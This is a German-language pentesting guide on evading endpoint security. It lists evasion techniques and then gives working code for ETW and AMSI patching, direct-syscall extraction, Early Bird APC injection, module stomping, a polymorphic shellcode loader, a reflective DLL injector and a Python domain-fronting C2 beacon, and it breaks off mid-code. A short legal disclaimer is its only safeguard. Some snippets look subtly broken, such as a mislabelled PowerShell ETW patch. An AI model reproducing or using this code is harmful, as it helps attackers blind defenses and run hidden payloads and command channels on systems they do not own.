Advanced Evasion Techniques für Senior Pentester

1. Moderne EDR/AV Evasion Fundamentals

Erkennungsmechanismen verstehen

  • Signature-based: Pattern Matching, YARA Rules, Hash-basiert
  • Heuristic: Verhaltensanalyse, API-Monitoring, Syscall-Tracking
  • Machine Learning: Anomalie-Erkennung, Modell-basierte Klassifizierung
  • Cloud-basiert: Sandbox-Detonation, Reputation-Systeme
  • Behavioral: User-Land Hooking, Kernel Callbacks, ETW (Event Tracing for Windows)

ETW (Event Tracing for Windows) Bypassing

ETW ist kritisch für moderne EDR-Lösungen. Umgehungsstrategien:

  • ETW Patching: NtTraceEvent/EtwEventWrite patchen
  • Provider Deaktivierung: EtwEventUnregister für spezifische Provider
  • InfinityHook-Style Hooks: Syscall-Table Manipulation
  • Thread-Stack Spoofing: Call-Stack Manipulation gegen Stack-Walking

AMSI (Antimalware Scan Interface) Bypassing

  • Memory Patching: AmsiScanBuffer patchen (verschiedene Offsets für verschiedene Builds)
  • Context Manipulation: AmsiContext invalidieren
  • Reflection: Assembly.Load mit modifiziertem AMSI-Context
  • COM Hijacking: AMSI COM-Objekte manipulieren
  • Downgrade Attacks: PowerShell v2 (wo verfügbar, keine AMSI-Integration)

2. Code Execution Evasion

Payload Obfuscation

  • Encryption/Encoding: AES, XOR mit komplexen Keys, Custom Encoding-Schemas
  • Polymorphism: Jede Execution generiert unterschiedlichen Code
  • Metamorphism: Code-Struktur fundamental ändern
  • Code Virtualization: VMP-ähnliche Techniques, eigene VM-Instruction-Sets

In-Memory Execution

Techniken:
- Process Injection: CreateRemoteThread, QueueUserAPC, SetThreadContext
- Process Hollowing: NtUnmapViewOfSection + WriteProcessMemory
- Process Doppelgänging: NTFS Transactions nutzen
- Module Stomping: Legitime DLLs überschreiben
- Phantom DLL Hollowing: TxF für transaktionale DLL-Loads
- Thread Hijacking: Bestehende Threads kapern

Fortgeschrittene Injection-Methoden

  • Early Bird APC: APC vor Thread-Start queuen
  • AtomBombing: Global Atom Tables für Code-Transfer
  • Shim DLL Injection: Application Compatibility Shims
  • Extra Window Memory: SetWindowLongPtr für Code-Storage
  • PROPagate: Window Properties für Injection
  • Thread Execution Hijacking: Suspended Thread Context manipulieren

Syscall-Direkt-Ausführung

EDR-Hooks in ntdll.dll umgehen:

  • Direct Syscalls: Syscall-Nummern direkt aufrufen (SSN – System Service Numbers)
  • Indirect Syscalls: syscall-Instruction über legitimen Code ausführen
  • Syswhispers: Automatische Syscall-Stub-Generierung
  • Hell’s Gate / Halo’s Gate: Syscall-Nummern dynamisch aus ntdll extrahieren
  • Tartarus‘ Gate: Unhook-resistent durch mehrere Lookup-Methoden

3. Network Evasion

C2 Communication Obfuscation

  • Domain Fronting: CDN/Proxy-Infrastruktur missbrauchen
  • Domain Hiding: DGA (Domain Generation Algorithms)
  • Protocol Mimicry: Legit Traffic imitieren (HTTPS, DNS, etc.)
  • Encrypted Channels: TLS mit Cert Pinning, Custom Crypto
  • Steganography: Data in Bildern, DNS TXT Records, ICMP

Traffic Analysis Evasion

  • Jitter: Zufällige Delays zwischen Beacons
  • Randomisierung: Packet-Size, User-Agents, Headers variieren
  • Time-based Triggers: Nur zu bestimmten Zeiten aktiv
  • Geofencing: Nur in bestimmten Regionen aktiv
  • Malleable C2 Profiles: Cobalt Strike-Style Traffic-Shaping

4. Persistence Evasion

Unauffällige Persistence

  • COM Hijacking: CLSID-Manipulation
  • WMI Event Subscriptions: Event-triggered Execution
  • Scheduled Tasks: Mit legitimen Namen/Pfaden
  • Application Shimming: Custom Shim Databases
  • Accessibility Features: Sticky Keys, Utilman etc. ersetzen
  • Services: Als legitime Dienste getarnt
  • Print Processors: DLL-Injection via Print Spooler
  • Netsh Helper DLLs: Network Shell Erweiterungen

Registry-basiert

  • Run/RunOnce Keys: Versteckt in unüblichen Hives
  • Image File Execution Options: Debugger-Hijacking
  • AppInit_DLLs: Globale DLL-Injection (deprecated aber noch funktional)
  • Silent Process Exit: Monitoring-Mechanismus missbrauchen

5. Defense Evasion Techniques

Sandbox Detection & Evasion

  • Timing Checks: Sleep-Acceleration erkennen
  • User Interaction: Maus-Bewegungen, Clicks verlangen
  • Environment Checks: CPU-Cores, RAM, Disk-Size, Registry-Keys
  • Anti-Debugging: IsDebuggerPresent, PEB-Checks, Timing-Attacks
  • VM Detection: CPUID-Checks, DMI/SMBIOS, Hardware-Serials

Process/Thread Masquerading

  • PPID Spoofing: Parent Process ID fälschen
  • Call Stack Spoofing: ROP-Chains für legitime Call-Stacks
  • Module Overloading: Legitime DLLs laden, dann überschreiben
  • Thread Stack Spoofing: Return-Adressen manipulieren

Credential Dumping Evasion

  • Direct LSASS Access vermeiden: Prozess-Dump stattdessen
  • LSASS Shtinkering: Minidump mit MiniDumpWriteDump
  • SSP/AP DLLs: Security Support Provider als Persistence
  • Comsvcs.dll: Documented Way für Prozess-Dumps
  • ProcDump/Alternatives: Signed Binaries für Dumps nutzen

6. Living Off The Land (LOLBins)

Windows-Native Tools missbrauchen

  • mshta.exe: HTA-basierte Execution
  • regsvr32.exe: Scriptlet-basierte Execution
  • rundll32.exe: DLL/JavaScript Execution
  • msiexec.exe: Remote MSI-Installation
  • certutil.exe: Download und Decode von Payloads
  • bitsadmin.exe: Background File Transfer
  • wmic.exe: Remote Command Execution
  • powershell.exe: Obviös aber mächtig

Advanced LOLBin Chains

Kombinationen für komplexe Angriffe:

  • regsvr32 + certutil: Download und Execute
  • msiexec + remote share: Silent Installation
  • wmic + xsl: Remote XSL-Script Execution

7. PowerShell Evasion

Execution Policy Bypasses

  • -ExecutionPolicy Bypass
  • Get-Content | Invoke-Expression
  • [Scriptblock]::Create().Invoke()
  • Encoded Commands: -EncodedCommand

Logging Evasion

  • Script Block Logging deaktivieren: Registry-Manipulation
  • Transcription ausschalten: Entsprechende Keys entfernen
  • Module Logging: Selektiv deaktivieren
  • PowerShell v2 Downgrade: Falls verfügbar (keine erweiterten Logs)

Obfuscation

  • Invoke-Obfuscation: Comprehensive Obfuscation-Framework
  • Variable Renaming: Randomisierte Namen
  • String Concatenation: Breaking von Signatures
  • Encoding: Base64, Hex, ASCII-Manipulation
  • Reflection: System.Management.Automation Internals nutzen

8. Linux/Unix Evasion

Binary Execution Evasion

  • LD_PRELOAD: Shared Library Injection
  • Memory-only Execution: memfd_create für fileless Execution
  • Process Masquerading: argv[0] manipulieren
  • Shared Memory: Payloads in shm ablegen

AV/EDR Evasion auf Linux

  • Syscall Hooking umgehen: Direkte Syscalls via asm
  • eBPF-basierte EDR: BPF-Hooks erkennen und umgehen
  • Kernel Module Hiding: rootkit-ähnliche Techniques
  • Auditd Evasion: Logging-Rules umgehen

9. Advanced Tooling & Frameworks

Offensive Tools

  • Cobalt Strike: Malleable C2, Beacon customization
  • Metasploit: Evasion-Module, Encoder-Chains
  • Covenant: .NET-basiertes C2-Framework
  • Sliver: Moderne C2-Alternative
  • Mythic: Container-basiertes Multi-Agent-Framework
  • Empire/Starkiller: PowerShell-fokussiert
  • Silver: Go-basiertes C2

Evasion-spezifische Tools

  • Donut: PE/DLL zu Position-independent Shellcode
  • ScareCrow: Payload-Generation mit EDR-Evasion
  • ThreatCheck: Defender Signature-Scanner
  • DefenderCheck: Signature-Identifikation
  • ConfuserEx: .NET Obfuscation
  • Hyperion/Veil: PE-Encryption
  • Phantom-Evasion: Multi-Technique Generator

10. Praktische Evasion-Strategie

Pre-Engagement

  1. Target Reconnaissance: Welche Security-Lösungen laufen?
  2. Testing: Payloads gegen bekannte EDR-Lösungen testen
  3. Custom Development: Eigene Tools > Public Tools
  4. Staged Approach: Kleine Footprint initial, dann lateral

During Engagement

  1. Low and Slow: Aktivität zeitlich streuen
  2. Blend In: Normale User-Aktivität imitieren
  3. Clean Up: Artifacts systematisch entfernen
  4. Multiple Vectors: Backup-Zugänge etablieren

Post-Exploitation

  1. Credential Harvesting: Unauffällig, ohne LSASS-Dump wenn möglich
  2. Lateral Movement: Trusted Protocols nutzen (WMI, WinRM, RDP)
  3. Data Exfiltration: In normalem Traffic verstecken
  4. Covering Tracks: Logs manipulieren/löschen

11. Continuous Improvement

Skill Development

  • Malware Development: C/C++, Assembly, Go, Rust lernen
  • Reverse Engineering: IDA Pro, Ghidra, x64dbg
  • Exploit Development: Vulnerability Research
  • Red Team TTPs: MITRE ATT&CK studieren

Ressourcen

  • GitHub: Aktuelle Evasion-Projekte verfolgen
  • Research Papers: Academic Journals, Security Conferences
  • Bug Bounty Reports: Real-world Bypasses studieren
  • Vendor Documentation: EDR/AV Internals verstehen

12. Legal & Ethical Considerations

KRITISCH: Alle diese Techniken NUR in autorisierten Penetrationstests mit schriftlicher Genehmigung verwenden. Unauthorisierter Einsatz ist strafbar.


Pro-Tipp: Die beste Evasion ist Custom-Code. Public Tools werden schnell gesignatured. Investiere Zeit in eigene Tool-Development und verstehe die Fundamentals, nicht nur die Tools.

Advanced Evasion Pentesting – Praktische Deep-Dive Anleitung

1. ETW (Event Tracing for Windows) Patching – Die Basis moderner Evasion

Was ist ETW? ETW ist das zentrale Logging-System von Windows. Jede sicherheitsrelevante Aktion (PowerShell-Befehle, .NET Assembly-Loads, Prozess-Creation) wird über ETW an EDR-Lösungen gemeldet.

Praktische Umsetzung – ETW deaktivieren:

Methode 1: ntdll.dll Patching

// C/C++ Code zum Patchen von EtwEventWrite
#include <windows.h>

BOOL PatchEtw() {
    // Hole ntdll.dll Base Address
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    FARPROC pEtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");

    // Ändere Memory Protection
    DWORD oldProtect;
    VirtualProtect(pEtwEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldProtect);

    // Patch: ret Instruction (0xC3) am Anfang
    // Funktion kehrt sofort zurück ohne Events zu senden
    *(BYTE*)pEtwEventWrite = 0xC3;

    // Protection wiederherstellen
    VirtualProtect(pEtwEventWrite, 4096, oldProtect, &oldProtect);
    return TRUE;
}

PowerShell-Variante für schnelles Testen:

# ETW für aktuellen Prozess deaktivieren
$ntdll = [Ref].Assembly.GetType('System.Management.Automation.Amsi' + 'Utils')
$val = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    [System.Runtime.InteropServices.Marshal]::GetProcAddress(
        [System.Runtime.InteropServices.Marshal]::GetModuleHandle("ntdll"), 
        "EtwEventWrite"
    ),
    [Func[IntPtr, IntPtr, UInt32, IntPtr, Int32]]
)
# Patch it - return 0
[System.Runtime.InteropServices.Marshal]::WriteByte($val.Method.MethodHandle.GetFunctionPointer(), 0xC3)

Warum das funktioniert: EDR kann keine Events mehr empfangen, da die Funktion sofort returniert. Der Prozess läuft normal weiter, aber alle Security-Events werden verschluckt.


2. AMSI Bypass – PowerShell & .NET undetected ausführen

Was ist AMSI? Antimalware Scan Interface scannt alle PowerShell-Befehle und .NET Assembly-Loads vor der Ausführung. Ohne Bypass erkennst du sofort bei bekannten Tools.

Praktische AMSI-Bypass-Methoden:

Memory Patching – Die robusteste Methode:

# AMSI komplett ausschalten
$a=[Ref].Assembly.GetTypes();
Foreach($b in $a) {
    if ($b.Name -like "*iUtils") {
        $c=$b
    }
};
$d=$c.GetFields('NonPublic,Static');
Foreach($e in $d) {
    if ($e.Name -like "*Context") {
        $f=$e
    }
};
$g=$f.GetValue($null);
[IntPtr]$ptr=$g;
[Int32[]]$buf = @(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Alternative – AmsiScanBuffer direkt patchen:

// C# Code für AMSI Bypass
using System;
using System.Runtime.InteropServices;

public class AmsiBypass {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, 
        uint flNewProtect, out uint lpflOldProtect);

    public static void Bypass() {
        IntPtr hModule = LoadLibrary("amsi.dll");
        IntPtr addr = GetProcAddress(hModule, "AmsiScanBuffer");

        uint oldProtect;
        VirtualProtect(addr, (UIntPtr)5, 0x40, out oldProtect);

        // Patch mit: mov eax, 0x80070057 (E_INVALIDARG) + ret
        byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
        Marshal.Copy(patch, 0, addr, 6);

        VirtualProtect(addr, (UIntPtr)5, oldProtect, out oldProtect);
    }
}

Praktischer Workflow:

  1. AMSI Bypass am Anfang deines Implants ausführen
  2. Danach beliebige PowerShell-Tools laden (Mimikatz, Invoke-Rubeus, etc.)
  3. Keine Detection mehr durch signatur-basierte AMSI-Scans

3. Direct Syscalls – EDR-Hooks komplett umgehen

Das Problem: EDR-Lösungen platzieren Hooks in ntdll.dll Funktionen. Jeder API-Call (CreateRemoteThread, WriteProcessMemory, etc.) wird abgefangen und analysiert.

Die Lösung: Rufe Windows Kernel-Funktionen direkt auf, ohne über ntdll.dll zu gehen.

Praktische Implementierung:

Schritt 1: Syscall-Nummern extrahieren (Hell’s Gate Technik)

#include <windows.h>
#include <stdio.h>

// Struktur für Syscall
typedef struct _SYSCALL_ENTRY {
    DWORD ssn;          // System Service Number
    PVOID address;      // Syscall Instruction Adresse
} SYSCALL_ENTRY;

// Suche nach Syscall-Nummer in ntdll
BOOL GetSyscallNumber(LPCSTR functionName, SYSCALL_ENTRY* entry) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    PVOID pFunction = GetProcAddress(ntdll, functionName);

    if (!pFunction) return FALSE;

    BYTE* pByte = (BYTE*)pFunction;

    // Pattern suchen: MOV R10, RCX; MOV EAX, SSN
    // Bytes: 4C 8B D1 B8 [SSN in 4 bytes]
    for (int i = 0; i < 50; i++) {
        if (pByte[i] == 0x4C && pByte[i+1] == 0x8B && 
            pByte[i+2] == 0xD1 && pByte[i+3] == 0xB8) {
            // SSN gefunden bei i+4
            entry->ssn = *(DWORD*)(pByte + i + 4);

            // Suche syscall instruction
            for (int j = i; j < i + 20; j++) {
                if (pByte[j] == 0x0F && pByte[j+1] == 0x05) {
                    entry->address = (PVOID)(pByte + j);
                    return TRUE;
                }
            }
        }
    }
    return FALSE;
}

Schritt 2: Direct Syscall ausführen

; Assembly für direkten Syscall (NASM syntax)
; Beispiel: NtAllocateVirtualMemory

extern SyscallNumber
extern SyscallAddress

NtAllocateVirtualMemory:
    mov r10, rcx                    ; Windows x64 calling convention
    mov eax, [SyscallNumber]        ; Lade SSN
    jmp qword [SyscallAddress]      ; Springe zu syscall instruction
    ret

Schritt 3: Integration in C-Code

// Function Pointer Typ definieren
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

// Syscall ausführen
BOOL AllocateMemoryDirect(HANDLE hProcess, SIZE_T size, PVOID* addr) {
    SYSCALL_ENTRY entry;
    if (!GetSyscallNumber("NtAllocateVirtualMemory", &entry)) 
        return FALSE;

    // Dynamisch Syscall ausführen
    // Hier würdest du deine Assembly-Funktion aufrufen
    // oder inline Assembly nutzen

    PVOID baseAddr = NULL;
    SIZE_T regionSize = size;

    // Call with syscall stub
    NTSTATUS status = MySyscallStub(
        entry.ssn,
        hProcess,
        &baseAddr,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    *addr = baseAddr;
    return NT_SUCCESS(status);
}

Praktischer Nutzen:

  • CreateRemoteThread → NtCreateThreadEx (Syscall)
  • WriteProcessMemory → NtWriteVirtualMemory (Syscall)
  • VirtualAllocEx → NtAllocateVirtualMemory (Syscall)
  • Kein EDR-Hook wird getriggert!

4. Process Injection – Modern & Undetected

Ziel: Code in einen anderen Prozess injizieren ohne dass EDR es erkennt.

Early Bird APC Injection – Die eleganteste Methode:

Konzept: Erstelle Prozess in suspended state, injiziere Code, queue APC, resume. Code wird ausgeführt bevor irgendwelche EDR-Checks laufen.

#include <windows.h>

BOOL EarlyBirdInjection(LPCWSTR targetExe, BYTE* shellcode, SIZE_T shellcodeSize) {
    // 1. Prozess erstellen (suspended)
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    CreateProcessW(
        targetExe,
        NULL,
        NULL, NULL, FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,  // Suspended!
        NULL, NULL,
        &si, &pi
    );

    // 2. Memory in Target allozieren (via Syscall für Evasion)
    PVOID remoteBuffer = VirtualAllocEx(
        pi.hProcess,
        NULL,
        shellcodeSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // 3. Shellcode schreiben
    WriteProcessMemory(
        pi.hProcess,
        remoteBuffer,
        shellcode,
        shellcodeSize,
        NULL
    );

    // 4. APC in Main Thread queuen
    // Code wird ausgeführt wenn Thread resumed wird
    QueueUserAPC(
        (PAPCFUNC)remoteBuffer,
        pi.hThread,
        NULL
    );

    // 5. Thread fortsetzen - Shellcode läuft!
    ResumeThread(pi.hThread);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return TRUE;
}

Warum das funktioniert:

  • Prozess ist suspended → EDR hat noch nicht gehookt
  • APC wird ausgeführt bevor normale Code-Paths laufen
  • Keine verdächtigen API-Calls wie CreateRemoteThread
  • Sehr schwer zu detektieren

5. Module Stomping – Fortgeschrittene Memory Injection

Konzept: Lade eine legitime DLL, überschreibe deren Code im Memory mit deinem Payload. Entry Point der DLL zeigt auf deinen Code.

BOOL ModuleStomping(LPCSTR targetDll, BYTE* payload, SIZE_T payloadSize) {
    // 1. Legitime DLL laden (z.B. eine signed Microsoft DLL)
    HMODULE hModule = LoadLibraryA(targetDll);
    if (!hModule) return FALSE;

    // 2. Memory Protection ändern
    MEMORY_BASIC_INFORMATION mbi;
    VirtualQuery(hModule, &mbi, sizeof(mbi));

    DWORD oldProtect;
    VirtualProtect(
        mbi.BaseAddress,
        mbi.RegionSize,
        PAGE_EXECUTE_READWRITE,
        &oldProtect
    );

    // 3. DLL-Code mit Payload überschreiben
    memcpy(hModule, payload, payloadSize);

    // 4. Protection wiederherstellen (wichtig für Evasion!)
    VirtualProtect(
        mbi.BaseAddress,
        mbi.RegionSize,
        oldProtect,
        &oldProtect
    );

    // 5. Entry Point aufrufen
    typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
    DllMain_t entry = (DllMain_t)hModule;
    entry(hModule, DLL_PROCESS_ATTACH, NULL);

    return TRUE;
}

Vorteile:

  • Module Signing bleibt bestehen (auf Disk)
  • Memory-Scanning sieht legitimen Module-Namen
  • Viele EDRs whitelisten signed Microsoft DLLs

6. Thread Stack Spoofing – Call Stack Manipulation

Problem: Moderne EDR prüft Call Stacks. Wenn dein Shellcode keine saubere Call-Chain hat → Detection.

Lösung: Erstelle einen legitimen Call Stack mit ROP-Gadgets.

#include <windows.h>

// Finde ROP-Gadget (ret instruction)
PVOID FindRetGadget(HMODULE module) {
    BYTE* base = (BYTE*)module;
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);

    DWORD codeSize = nt->OptionalHeader.SizeOfCode;
    BYTE* code = base + nt->OptionalHeader.BaseOfCode;

    // Suche nach RET (0xC3)
    for (DWORD i = 0; i < codeSize; i++) {
        if (code[i] == 0xC3) {
            return (PVOID)(code + i);
        }
    }
    return NULL;
}

// Erstelle gefälschten Call Stack
VOID SpoofCallStack(PVOID shellcodeAddr) {
    // Hole legitime Module
    HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");

    // Finde ROP-Gadgets
    PVOID gadget1 = FindRetGadget(kernel32);
    PVOID gadget2 = FindRetGadget(ntdll);

    // Baue Stack-Frame
    PVOID fakeStack[10];
    fakeStack[0] = gadget1;  // Return zu kernel32
    fakeStack[1] = gadget2;  // Return zu ntdll
    fakeStack[2] = shellcodeAddr;  // Dein Code

    // Manipuliere Stack Pointer
    // Assembly needed hier - setze RSP auf fakeStack
    __asm {
        mov rsp, fakeStack
        ret  // Springt durch fake stack
    }
}

Praktischer Einsatz:

  • Bevor du verdächtige API-Calls machst
  • EDR-Stack-Walking sieht: kernel32 → ntdll → dein Code (legitim!)
  • Ohne Spoofing: Shellcode → Random Memory → Detection

7. Payload Encryption & Polymorphism

Konzept: Jede Ausführung generiert unterschiedlichen Code. Keine statischen Signaturen möglich.

Praktische Implementierung – XOR mit dynamischem Key:

#include <windows.h>
#include <time.h>

// Polymorphic Encoder
BYTE* EncryptPayload(BYTE* payload, SIZE_T size, BYTE* outKey) {
    BYTE* encrypted = (BYTE*)malloc(size);

    // Generiere random Key basierend auf Zeit + Hostname
    srand((unsigned int)time(NULL));
    char hostname[256];
    DWORD hostnameLen = 256;
    GetComputerNameA(hostname, &hostnameLen);

    // Key aus Hostname hash + Random
    DWORD keyBase = 0;
    for (DWORD i = 0; i < hostnameLen; i++) {
        keyBase += hostname[i] * (i + 1);
    }
    keyBase ^= rand();

    *outKey = (BYTE)(keyBase & 0xFF);

    // XOR Encryption (erweiterbar zu AES, etc.)
    for (SIZE_T i = 0; i < size; i++) {
        encrypted[i] = payload[i] ^ (*outKey + i);
    }

    return encrypted;
}

// Runtime Decryption
VOID DecryptAndExecute(BYTE* encrypted, SIZE_T size, BYTE key) {
    // Alloziere executable memory
    PVOID exec = VirtualAlloc(
        NULL,
        size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // Decrypt in-place
    for (SIZE_T i = 0; i < size; i++) {
        ((BYTE*)exec)[i] = encrypted[i] ^ (key + i);
    }

    // Flush instruction cache
    FlushInstructionCache(GetCurrentProcess(), exec, size);

    // Execute
    ((void(*)())exec)();
}

Zusatz – Code Metamorphism:

// Füge random NOPs, Junk-Instructions ein
VOID AddJunkCode(BYTE* code, SIZE_T* size) {
    BYTE junkInstructions[] = {
        0x90,              // NOP
        0x40, 0x88, 0xC0,  // MOV AL, AL (no-op)
        0x48, 0x89, 0xC0,  // MOV RAX, RAX
    };

    // Random Junk an random Positionen
    for (int i = 0; i < 20; i++) {
        SIZE_T pos = rand() % (*size);
        BYTE junk = junkInstructions[rand() % sizeof(junkInstructions)];

        // Insert junk byte
        memmove(code + pos + 1, code + pos, (*size) - pos);
        code[pos] = junk;
        (*size)++;
    }
}

8. Fileless Execution – Komplett im Memory

Ziel: Keine Datei auf Disk schreiben. Nichts für Forensik/AV zum Scannen.

Praktische Methode – Reflective DLL Injection:

// Loader für DLL direkt aus Memory
typedef HMODULE(WINAPI* LoadLibrary_t)(LPCSTR);
typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE, LPCSTR);

typedef struct {
    LoadLibrary_t pLoadLibrary;
    GetProcAddress_t pGetProcAddress;
} LOADER_DATA;

// Reflective Loader (wird in Target-Prozess ausgeführt)
DWORD WINAPI ReflectiveLoader(LPVOID param) {
    LOADER_DATA* data = (LOADER_DATA*)param;
    BYTE* dllData = (BYTE*)param + sizeof(LOADER_DATA);

    // Parse PE Headers
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)dllData;
    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(dllData + dos->e_lfanew);

    // Alloziere Memory für DLL
    BYTE* imageBase = (BYTE*)VirtualAlloc(
        (PVOID)nt->OptionalHeader.ImageBase,
        nt->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // Copy Headers
    memcpy(imageBase, dllData, nt->OptionalHeader.SizeOfHeaders);

    // Copy Sections
    IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt);
    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        memcpy(
            imageBase + section[i].VirtualAddress,
            dllData + section[i].PointerToRawData,
            section[i].SizeOfRawData
        );
    }

    // Process Relocations
    IMAGE_DATA_DIRECTORY* relocDir = 
        &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

    DWORD_PTR delta = (DWORD_PTR)imageBase - nt->OptionalHeader.ImageBase;

    if (relocDir->Size > 0) {
        IMAGE_BASE_RELOCATION* reloc = 
            (IMAGE_BASE_RELOCATION*)(imageBase + relocDir->VirtualAddress);

        while (reloc->VirtualAddress) {
            WORD* relocInfo = (WORD*)((BYTE*)reloc + sizeof(IMAGE_BASE_RELOCATION));
            int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;

            for (int i = 0; i < count; i++) {
                if ((relocInfo[i] >> 12) == IMAGE_REL_BASED_DIR64) {
                    DWORD_PTR* patchAddr = (DWORD_PTR*)(imageBase + 
                        reloc->VirtualAddress + (relocInfo[i] & 0xFFF));
                    *patchAddr += delta;
                }
            }

            reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);
        }
    }

    // Resolve Imports
    IMAGE_DATA_DIRECTORY* importDir = 
        &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

    IMAGE_IMPORT_DESCRIPTOR* importDesc = 
        (IMAGE_IMPORT_DESCRIPTOR*)(imageBase + importDir->VirtualAddress);

    while (importDesc->Name) {
        char* moduleName = (char*)(imageBase + importDesc->Name);
        HMODULE hMod = data->pLoadLibrary(moduleName);

        IMAGE_THUNK_DATA* thunk = 
            (IMAGE_THUNK_DATA*)(imageBase + importDesc->FirstThunk);
        IMAGE_THUNK_DATA* origThunk = 
            (IMAGE_THUNK_DATA*)(imageBase + importDesc->OriginalFirstThunk);

        while (origThunk->u1.AddressOfData) {
            IMAGE_IMPORT_BY_NAME* import = 
                (IMAGE_IMPORT_BY_NAME*)(imageBase + origThunk->u1.AddressOfData);

            thunk->u1.Function = (DWORD_PTR)data->pGetProcAddress(hMod, import->Name);

            thunk++;
            origThunk++;
        }

        importDesc++;
    }

    // Call DllMain
    typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
    DllMain_t dllMain = (DllMain_t)(imageBase + nt->OptionalHeader.AddressOfEntryPoint);
    dllMain((HINSTANCE)imageBase, DLL_PROCESS_ATTACH, NULL);

    return 0;
}

// Injection in Target Process
BOOL InjectReflectiveDll(HANDLE hProcess, BYTE* dllData, SIZE_T dllSize) {
    // Alloziere Memory in Target
    SIZE_T totalSize = sizeof(LOADER_DATA) + dllSize;
    PVOID remoteBuffer = VirtualAllocEx(
        hProcess,
        NULL,
        totalSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // Prepare Loader Data
    LOADER_DATA loaderData;
    loaderData.pLoadLibrary = (LoadLibrary_t)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    loaderData.pGetProcAddress = (GetProcAddress_t)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "GetProcAddress");

    // Write Loader + DLL
    WriteProcessMemory(hProcess, remoteBuffer, &loaderData, 
        sizeof(LOADER_DATA), NULL);
    WriteProcessMemory(hProcess, (BYTE*)remoteBuffer + sizeof(LOADER_DATA), 
        dllData, dllSize, NULL);

    // Write Loader Code
    SIZE_T loaderSize = 4096; // Estimate
    PVOID loaderBuffer = VirtualAllocEx(
        hProcess,
        NULL,
        loaderSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    WriteProcessMemory(hProcess, loaderBuffer, (PVOID)ReflectiveLoader, 
        loaderSize, NULL);

    // Execute
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL, 0,
        (LPTHREAD_START_ROUTINE)loaderBuffer,
        remoteBuffer,
        0, NULL
    );

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    return TRUE;
}

Vorteile:

  • Keine DLL-Datei auf Disk
  • Keine LoadLibrary Registry-Keys
  • Schwer für Forensik zu finden
  • Kann mit verschlüsselten Payloads kombiniert werden

9. C2 Communication – Domain Fronting & Encryption

Ziel: Command & Control Traffic sieht aus wie normaler HTTPS-Traffic zu legitimen Domains.

Praktisches Domain Fronting Setup:

# Python Beacon mit Domain Fronting
import requests
import base64
import json
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

class C2Beacon:
    def __init__(self, front_domain, real_c2):
        self.front_domain = front_domain  # z.B. "ajax.googleapis.com"
        self.real_c2 = real_c2            # Dein echter C2-Server
        self.session_key = get_random_bytes(32)
        self.beacon_id = self.generate_beacon_id()

    def generate_beacon_id(self):
        # Generiere unauffällige ID
        import uuid
        return str(uuid.uuid4())

    def encrypt_data(self, data):
        cipher = AES.new(self.session_key, AES.MODE_GCM)
        ciphertext, tag = cipher.encrypt_and_digest(data.encode())
        return base64.b64encode(cipher.nonce + tag + ciphertext).decode()

    def beacon(self, data):
        # Bereite Request vor
        encrypted = self.encrypt_data(json.dumps(data))

        headers = {
            'Host': self.real_c2,  # Echter C2 im Host-Header!
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'text/html,application/xhtml+xml',
            'Accept-Language': 'en-US,en;q=0.9',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
            # Verstecke Daten in Custom-Header
            'X-Request-ID': encrypted
        }

        try:
            # Request geht zu Front-Domain, aber CDN routet zu real_c2
            response = requests.get(
                f'https://{self.front_domain}/generate_204',
                headers=headers,
                timeout=10
            )

            # Parse Commands aus Response
            if 'X-Response-Data' in response.headers:
                return self.decrypt_data(response.headers['X-Response-Data'])

        except Exception as e:
